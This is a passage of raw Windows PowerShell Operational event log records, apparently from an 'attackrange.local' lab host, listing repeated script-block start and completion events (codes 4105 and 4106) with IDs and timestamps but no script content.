Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026916
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026915
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026909
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026887
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026885
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026884
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026867
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
